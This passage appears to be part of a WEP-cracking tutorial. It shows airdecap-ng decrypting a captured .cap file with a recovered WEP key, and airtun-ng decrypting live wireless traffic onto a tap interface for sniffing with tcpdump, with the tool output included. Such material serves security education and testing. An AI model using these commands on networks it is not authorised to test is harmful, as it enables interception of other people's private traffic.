

## Decrypt the traffic Airdecap-ng

*It is possible to capture the traffic in .cap files as above, decrypt it in a second file before sending it to the tcpdump command for instance:*

```
root@crack_WEP:~# airdecap-ng -w b919318cb261dd4efb0baa6299 temp-01.cap
```

```
Total number of packets read          22072
Total number of WEP data packets       6245
Total number of WPA data packets       0
Number of plaintext data packets       3
Number of decrypted WEP packets        6245
Number of corrupted WEP packets        0
Number of decrypted WPA packets        0
```

```
root@crack_WEP:~# tcpdump -r temp-01-dec.cap -i wlan
```

*But it is also possible to decrypt live traffic in real time sending it to a virtual interface at0 on which we can listen as with any real interface. Airtun-ng provided in Aircrack package has the ability to do so.*

```
root@crack_WEP:~# airtun-ng -a 00:A0:C5:FF:84:72 -w b919318cb261dd4efb0baa6299
mon0
```

```
created tap interface at0
WEP encryption specified. Sending and receiving frames through mon0.
FromDS bit set in all frames.
```

*From another shell:*

```
crack_WEP:~# tcpdump -i at0
```